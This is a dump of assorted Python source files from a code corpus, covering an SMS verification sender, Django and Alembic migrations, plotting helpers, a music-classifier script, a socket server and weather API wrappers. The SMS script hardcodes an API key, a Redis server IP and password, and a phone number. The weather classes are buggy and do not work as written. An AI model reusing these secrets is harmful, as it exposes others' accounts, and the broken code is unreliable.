"byteplay.LOAD_NAME", "line_number": 683, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 684, "usage_type": "name"}, {"api_name": "byteplay.MAKE_FUNCTION", "line_number": 685, "usage_type": "name"}, {"api_name": "byteplay.CALL_FUNCTION", "line_number": 686, "usage_type": "name"}, {"api_name": "byteplay.STORE_NAME", "line_number": 687, "usage_type": "name"}, {"api_name": "byteplay.LOAD_NAME", "line_number": 693, "usage_type": "name"}, {"api_name": "byteplay.LOAD_ATTR", "line_number": 694, "usage_type": "name"}, {"api_name": "byteplay.POP_TOP", "line_number": 706, "usage_type": "name"}, {"api_name": "byteplay.SetLineno", "line_number": 717, "usage_type": "name"}, {"api_name": "byteplay.DUP_TOP", "line_number": 718, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 719, "usage_type": "name"}, {"api_name": "byteplay.LOAD_NAME", "line_number": 720, "usage_type": "name"}, {"api_name": "byteplay.LOAD_CONST", "line_number": 721, "usage_type": "name"}, {"api_name": "byteplay.CALL_FUNCTION", "line_number": 722, "usage_type": "name"}, {"api_name": "byteplay.POP_TOP", "line_number": 723, "usage_type": "name"}]} +{"seq_id": "306316870", "text": "import json\nimport random\nimport re\n\nimport redis\nimport requests\n\nTEL_PATTERN = re.compile(r'1[3-9]\\d{9}')\n\n\ndef send_messag(tel, code):\n resp = requests.post(\n url='http://sms-api.luosimao.com/v1/send.json',\n auth=('api', 'key-8aa189224438080c6c41286ea3df5aaf'),\n data={\n 'mobile': tel,\n 'message': f'您的短信验证码是{code}，打死也不能告诉别人哦！【Python小课】'\n },\n timeout=3,\n verify=False\n )\n return json.loads(resp.text)\n\n\ndef main():\n tel = input('请输入手机号: ')\n if TEL_PATTERN.fullmatch(tel):\n client = redis.Redis(host='120.77.222.217',\n port=6379,\n password='1qaz2wsx')\n if client.exists(tel):\n print('请不要在120秒内重复发送短信验证码!!!')\n else:\n code = ''.join(random.choices('0123456789', k=6))\n result = send_messag(tel, code)\n print(result['error'])\n if result['error'] == 0:\n client.set(tel, code, ex=120)\n print('发送成功!!!')\n else:\n print('请输入有效的手机号码!!!')\n code = ''.join(random.choices('0123456789', k=6))\n send_messag('13114109737', code)\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "数据库文档/code/example08.py", "file_name": "example08.py", "file_ext": "py", "file_size_in_byte": 1331, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "re.compile", "line_number": 8, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 12, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 22, "usage_type": "call"}, {"api_name": "redis.Redis", "line_number": 28, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 34, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 42, "usage_type": "call"}]} +{"seq_id": "98303603", "text": "import pickle\nimport os\nimport json\nimport jinja2\n\ndef get_template():\n with open(\"template.html\") as handle:\n template = handle.read()\n return template\n\ndef get_cur_folder():\n return os.path.split(\n os.path.realpath(__file__)\n )[0]\n\ndef read_json():\n with open(get_cur_folder()+\"/config/config.json\",'r+') as handle:\n config = json.load(handle)\n return config\n\ndef write_html(doc):\n with open(get_cur_folder()+\"/assets/index.html\",\"w+\") as handle:\n handle.write(doc)\n return True\n\ndef make_html():\n config = read_json()\n doc = jinja2.Template(get_template()).render(\n title=config['meta']['title'],\n footer=config['meta']['footer'],\n about=config['meta']['about']\n )\n return write_html(doc)\n\nmake_html()\n", "sub_path": "init_blog.py", "file_name": "init_blog.py", "file_ext": "py", "file_size_in_byte": 934, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.path.split", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 18, "usage_type": "call"}, {"api_name": "jinja2.Template", "line_number": 28, "usage_type": "call"}]} +{"seq_id": "572730184", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.views.generic import View, ListView\nfrom sellers.models import Seller\nfrom products.models import Product\n\n\nclass DashboardView(View):\n def get(self, request, *args, **kwargs):\n sellers = Seller.objects.order_by('presentation_name')[:5]\n products = Product.objects.order_by('name')[:5]\n return render(request, \"common/dashboard.html\",\n {\"sellers\": sellers,\n \"products\": products})\n\n\ndef success_view(request):\n return HttpResponse(\"success\")\n\n\nclass FilteredListView(ListView):\n def get_filter_queryset(self, queryset, q):\n raise NotImplementedError\n\n def get_queryset(self):\n self.q = self.request.GET.get('q')\n if self.q:\n return self.get_filter_queryset(super().get_queryset(), self.q)\n return super().get_queryset()\n\n def get_context_data(self, **kwargs):\n if self.q:\n kwargs['q'] = self.q\n return super().get_context_data(**kwargs)\n", "sub_path": "apps/common/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1065, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.views.generic.View", "line_number": 8, "usage_type": "name"}, {"api_name": "sellers.models", "line_number": 10, "usage_type": "name"}, {"api_name": "sellers.models.Seller.objects.order_by", "line_number": 10, "usage_type": "call"}, {"api_name": "sellers.models.Seller.objects", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sellers.models.Seller", "line_number": 10, "usage_type": "name"}, {"api_name": "products.models", "line_number": 11, "usage_type": "name"}, {"api_name": "products.models.Product.objects.order_by", "line_number": 11, "usage_type": "call"}, {"api_name": "products.models.Product.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "products.models.Product", "line_number": 11, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 12, "usage_type": "call"}, {"api_name": "sellers.models", "line_number": 13, "usage_type": "name"}, {"api_name": "products.models", "line_number": 14, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 18, "usage_type": "call"}, {"api_name": "django.views.generic.ListView", "line_number": 21, "usage_type": "name"}]} +{"seq_id": "599363055", "text": "\"\"\"empty message\n\nRevision ID: 92b82850b5c3\nRevises: 2258727bf914\nCreate Date: 2020-05-14 17:54:02.111660\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '92b82850b5c3'\ndown_revision = '2258727bf914'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('catalog', sa.Column('end_point', sa.BOOLEAN(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('catalog', 'end_point')\n # ### end Alembic commands ###\n", "sub_path": "migrations/ozon/versions/92b82850b5c3_.py", "file_name": "92b82850b5c3_.py", "file_ext": "py", "file_size_in_byte": 660, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "alembic.op.add_column", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.BOOLEAN", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op.drop_column", "line_number": 27, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 27, "usage_type": "name"}]} +{"seq_id": "569405270", "text": "import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt;\n\n\ndef draw_network_inputs(images):\n plt.imshow(np.transpose(images.tensors[0].cpu().detach().numpy()/255 + 0.5, (1, 2, 0)))\n plt.show()\n\n plt.imshow(np.transpose(images.tensors[1].cpu().detach().numpy() / 255 + 0.5, (1, 2, 0)))\n plt.show()\n\n plt.imshow(np.transpose(images.tensors[2].cpu().detach().numpy() / 255 + 0.5, (1, 2, 0)))\n plt.show()\n\n\ndef plot_inference_for_image(predictor, image_path):\n image = cv2.imread(image_path)\n result = predictor.run_on_opencv_image(image)\n\n plt.imshow(result)\n plt.show()", "sub_path": "util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 603, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "matplotlib.pyplot.imshow", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "numpy.transpose", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 8, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "numpy.transpose", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "numpy.transpose", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}]} +{"seq_id": "382212099", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nfrom scipy.io import arff \nimport csv\nimport pickle\n\nfrom train import trainClassifiers, performSystematicExperiments, plotLosses\n\ndef plotAccuarcyForClassifiers(X,y):\n # save cross validation results to .csv\n cv_results = performSystematicExperiments(X, y)\n saveResultsTo_csv(cv_results, optimized=False)\n\n accuracies = [value for value in cv_results.values()]\n plt.figure(figsize=(15, 10))\n plt.title(\"Mean NSE for all sequence lengths\")\n plt.ylabel(\"Classification Accuracy\")\n plt.xlabel(\"Models\")\n plt.boxplot(accuracies, showmeans=True, notch=False)\n plt.xticks(range(1, len(cv_results.keys()) + 1), cv_results.keys(), rotation='horizontal')\n plt.show()\n\t\n \ndef pickleDictionaryTo(results_dict, path=None):\n if path is None:\n path = ''\n f = open(path+\"optimization_results.pkl\",\"wb\")\n pickle.dump(results_dict, f)\n f.close()\n \n\ndef saveResultsTo_csv(results_dict, optimized=True):\n \"\"\"Saves the result of optimization Or Cross validation to a .csv file\"\"\"\n fieldnames = []\n if optimized is True:\n filename = 'optimization_results.csv'\n fieldnames = ['Model', 'Accuracy', 'Best Params']\n else:\n filename = 'cross_validation_results.csv'\n fieldnames = ['model type', 'fold 1', 'fold 2', 'fold 3', 'fold 4', 'fold 5']\n csvfile = open(filename, 'w', newline='')\n writer = csv.DictWriter(csvfile, delimiter=',', fieldnames=fieldnames)\n writer.writeheader()\n if optimized is True:\n for key, value in zip(results_dict.keys(), results_dict.values()):\n print({'Model': key, 'Accuracy': value['accuracy'], 'Best Params': str(value['params'])})\n writer.writerow({'Model': key, 'Accuracy': value['accuracy'], 'Best Params': str(value['params'])})\n else:\n for key, value in zip(results_dict.keys(), results_dict.values()):\n row = {}\n row['model type'] = key\n for i in range(0, len(fieldnames)-1):\n row[fieldnames[i+1]] = value[i]\n writer.writerow(row)\n csvfile.close()\n\n \ndef getData(dataPath):\n \"\"\"Loads matrix of features X and vector of labels y given one .arff file\"\"\"\n\n fileName = \"{}/{}.music.arff\"\n dataset = None\n for i in range(6, 7):\n with open(fileName.format(dataPath,i), 'r') as f:\n # https://docs.scipy.org/doc/scipy/reference/generated/scipy.io.arff.loadarff.html\n ## Read arff\n data, meta = arff.loadarff(f)\n ## Convert to a dataframe\n print(fileName.format(dataPath,i))\n if dataset is None:\n dataset = pd.DataFrame(data)\n else:\n dataset = pd.concat([dataset, pd.DataFrame(data)], ignore_index=True)\n\n # Split into data and labels\n X = dataset.iloc[:, :-1].values\n y = np.array([1 if str(w, 'utf-8') == 'music' else 0 for w in dataset.iloc[:, -1]])\n return X, y\n\n\ndef main():\n dataPath = '../data/train_arff'\n print(\"Start Program\")\n X, y = getData(dataPath)\n# plotAccuarcyForClassifiers(X, y)\n opt_results = trainClassifiers(X[:6000], y[:6000])\n saveResultsTo_csv(opt_results, optimized=True)\n best_params = opt_results['params'] #'RandomForest'\n from sklearn.manifold import TSNE\n from sklearn.decomposition import TruncatedSVD\n from sklearn.model_selection import train_test_split\n X_train, X_test, y_train, y_test = train_test_split(X[:6000], y[:6000], test_size=0.33, random_state=0)\n reducer = TruncatedSVD(n_components=50, random_state=0)\n X_train_reduced = reducer.fit_transform(X_train)\n X_test_reduced = reducer.transform(X_test)\n # reduce a second time to 2 features, because embedding takes more time\n reducer = TruncatedSVD(n_components=2, random_state=0)\n X_train_again_reduced = reducer.fit_transform(X_train_reduced)\n X_test_again_reduced = reducer.transform(X_test_reduced)\n embedder = TSNE(n_components=2, perplexity=40, verbose=2)\n X_train_embedded = embedder.fit_transform(X_train_reduced)\n embedder = TSNE(n_components=2, perplexity=40, verbose=2)\n X_test_embedded = embedder.fit_transform(X_test_reduced)\n print(\"X_train reduced: \", X_train_reduced.shape)\n print(\"X_test reduced: \", X_test_reduced.shape)\n print(\"X_train embedded: \", X_train_embedded.shape)\n print(\"X_test embedded: \", X_test_embedded.shape)\n \n from sklearn.ensemble import RandomForestClassifier\n # TODO: parameter einstellen\n classifier = RandomForestClassifier(max_depth=10, max_features=2, n_estimators=100)\n classifier.fit(X_train[:, -3:-1], y_train)\n \n # Visualising the Training set results\n from matplotlib.colors import ListedColormap\n X_set, y_set = X_train[:, -3:-1], y_train\n X1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 1, stop = X_set[:, 0].max() + 1, step = 0.01),\n np.arange(start = X_set[:, 1].min() - 1, stop = X_set[:, 1].max() + 1, step = 0.01))\n plt.contourf(X1, X2, classifier.predict(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape),\n alpha = 0.50, cmap = ListedColormap(('red', 'green')))\n plt.scatter(X_set[y_set == 0, 0], X_set[y_set == 0, 1], c = 'red', label = 0)\n plt.scatter(X_set[y_set == 1, 0], X_set[y_set == 1, 1], c = 'green', label = 1)\n plt.xlim(X1.min(), X1.max())\n plt.ylim(X2.min(), X2.max())\n# for i, j in enumerate(np.unique(y_set)):\n# plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1],\n# c = ListedColormap(('red', 'green'))(i), label = j)\n plt.title('Neural Networks (Training set)')\n plt.xlabel('Reduced f01')\n plt.ylabel('Reduced f02')\n plt.legend()\n plt.show()\n \n # Visualising the Test set results because data is smaller here\n from matplotlib.colors import ListedColormap\n X_set, y_set = X_test[:, -3:-1], y_test\n X1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 1, stop = X_set[:, 0].max() + 1, step = 0.01),\n np.arange(start = X_set[:, 1].min() - 1, stop = X_set[:, 1].max() + 1, step = 0.01))\n plt.contourf(X1, X2, classifier.predict(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape),\n alpha = 0.50, cmap = ListedColormap(('red', 'green')))\n plt.scatter(X_set[y_set == 0, 0], X_set[y_set == 0, 1], c = 'red', label = 0)\n plt.scatter(X_set[y_set == 1, 0], X_set[y_set == 1, 1], c = 'green', label = 1)\n plt.xlim(X1.min(), X1.max())\n plt.ylim(X2.min(), X2.max())\n# for i, j in enumerate(np.unique(y_set)):\n# plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1],\n# c = ListedColormap(('red', 'green'))(i), label = j)\n plt.title('Neural Networks (Test set)')\n plt.xlabel('Reduced f01')\n plt.ylabel('Reduced f02')\n plt.legend()\n plt.show()\n \n# train_erros, val_errors, test_errors = plotLosses(opt_results, X, y)\n classifier = MLPClassifier(hidden_layer_sizes=(16, 16), activation='tanh',\n solver='adam', alpha=9.263406719097344e-05, learning_rate_init=0.0008804217040183917,\n random_state=0)\n classifier.fit(X_train[:,-3:-1], y_train)\n# 'hidden_layer_sizes': 16, 'alpha': 9.263406719097344e-05, 'learning_rate_init': 0.0008804217040183917, 'activation': 'tanh',\n# 'solver': 'adam', 'n_layers': 2}\n\nif __name__ == '__main__':\n main()", "sub_path": "Code/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 7460, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "train.performSystematicExperiments", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.boxplot", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 30, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 44, "usage_type": "call"}, {"api_name": "scipy.io.arff.loadarff", "line_number": 69, "usage_type": "call"}, {"api_name": "scipy.io.arff", "line_number": 69, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 73, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 75, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 79, "usage_type": "call"}, {"api_name": "train.trainClassifiers", "line_number": 88, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 94, "usage_type": "call"}, {"api_name": "sklearn.decomposition.TruncatedSVD", "line_number": 95, "usage_type": "call"}, {"api_name": "sklearn.decomposition.TruncatedSVD", "line_number": 99, "usage_type": "call"}, {"api_name": "sklearn.manifold.TSNE", "line_number": 102, "usage_type": "call"}, {"api_name": "sklearn.manifold.TSNE", "line_number": 104, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "numpy.meshgrid", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 150, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "name"}]} +{"seq_id": "296256992", "text": "import socket\nfrom multiprocessing import Process\n\nserver = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\nserver.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\n\ndef task(conn):\n while True:\n data = conn.recv(1024)\n conn.send(data.upper())\n\ndef set_server():\n server.bind(('127.0.0.1',8080))\n server.listen(5)\n while True:\n conn,caddr = server.accept()\n\n p = Process(target = task,args = (conn,))\n p.start()\n\nif __name__ == '__main__':\n set_server()\n\n", "sub_path": "m4/socket_correlation/Process_Test/socket/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 508, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "socket.socket", "line_number": 4, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 4, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 4, "usage_type": "attribute"}, {"api_name": "socket.SOL_SOCKET", "line_number": 5, "usage_type": "attribute"}, {"api_name": "socket.SO_REUSEADDR", "line_number": 5, "usage_type": "attribute"}, {"api_name": "multiprocessing.Process", "line_number": 18, "usage_type": "call"}]} +{"seq_id": "617022849", "text": "# File containing classes controlling API calls in weather.py\n\nimport requests\nimport requests_mock\nimport json\n\nclass CurrentCondition: # Current conditions at that location\n\n def current_condition(zipcode):\n r = requests.get(\"\"\"\n http://api.wunderground.com/api/5f8146a5f07d654c/conditions/q/\"+ zipcode +\".json\n \"\"\")\n json_string = r.read()\n parsed_json = json.loads(json_string)\n location = parsed_json['current_observation']['display_location.full']\n temp_f = parsed_json['current_observation']['temp_f']\n print('Current Temperature in %s is %s' % (location, temp_f))\n r.close()\n\n\n# class MultidayForecast: # 10 day forecast for that location\n#\n# def multiday_forecast(zipcode):\n# r = requests.get(\"\"\"\n# http://api.wunderground.com/api/5f8146a5f07d654c/forecast10day/q/\"+ zipcode +\".json\n# \"\"\")\n# json_string = r.read()\n# parsed_json = json.loads(json_string)\n#\n# for \"period\" in parsed_json:\n\n\n\nclass SunSchedule: # Sunrise and sunset times\n\n def sun_actions(zipcode):\n r = requests.get(\"\"\"\n http://api.wunderground.com/api/5f8146a5f07d654c/astronomy/q/\"+ zipcode +\".json\n \"\"\")\n json_string = r.read()\n parsed_json = json.loads(json_string)\n sunrise_hour = parsed_json['moon_phase']['sunrise.hour']\n sunrise_minute = parsed_json['moon_phase']['sunrise.minute']\n sunset_minute = parsed_json['moon_phase']['sunset.hour']\n sunset_minute = parsed_json['moon_phase']['sunset.minute']\n print('Sunrise is at: %s:%s' % (sunrise_hour, sunrise_minute))\n print('Sunset is at: %s:%s' % (sunset_hour, sunset_minute))\n r.close()\n\n\nclass WeatherAlert: # Any current weather alerts\n\n def alerts(zipcode):\n r = requests.get(\"\"\"\n http://api.wunderground.com/api/5f8146a5f07d654c/alerts/q/\"+ zipcode +\".json\n \"\"\")\n json_string = r.read()\n parsed_json = json.loads(json_string)\n alert_description = parsed_json['alerts']['description']\n alert_message = parsed_json['alerts']['message']\n if alert_description:\n print('There is currently a %s alert for your area: ' % alert_description)\n print(alert_message)\n else:\n print('There is currently no weather alert for your area')\n r.close()\n\n\n\nclass ActiveHurricane: # A list of all active hurricanes (anywhere)\n\n def hurricane_checker(zipcode):\n r = requests.get(\"\"\"\n http://api.wunderground.com/api/5f8146a5f07d654c/currenthurricane/view.json\n \"\"\")\n json_string = r.read()\n parsed_json = json.loads(json_string)\n name = parsed_json['storminfo']['stormName_Nice']\n lat = parsed_json['Current']['lat']\n lon = parsed_json['Current']['lon']\n category = parsed_json['Current']['SaffirSimpsonCategory']\n print(\"\"\"Currently %s is located at %s lattitude, %s longitude and\n is a category %s hurricane\"\"\" % (name, lat, lon, category))\n r.close()\n", "sub_path": "api_calls.py", "file_name": "api_calls.py", "file_ext": "py", "file_size_in_byte": 3119, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "requests.get", "line_number": 10, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 37, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 41, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 54, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 58, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 73, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 77, "usage_type": "call"}]} +{"seq_id": "613933810", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('filmfestival', '0009_auto_20150607_2303'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Day',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('date', models.DateField()),\n ],\n ),\n migrations.CreateModel(\n name='Program',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=200)),\n ],\n ),\n migrations.CreateModel(\n name='Screening',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('day', models.ForeignKey(to='filmfestival.Program')),\n ('film', models.ForeignKey(to='filmfestival.Film')),\n ],\n ),\n migrations.AddField(\n model_name='day',\n name='program',\n field=models.ForeignKey(to='filmfestival.Program'),\n ),\n ]\n", "sub_path": "filmfestival/migrations/0010_auto_20150610_1341.py", "file_name": "0010_auto_20150610_1341.py", "file_ext": "py", "file_size_in_byte": 1327, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 28, "usage_type": "call"}, {"api_name": 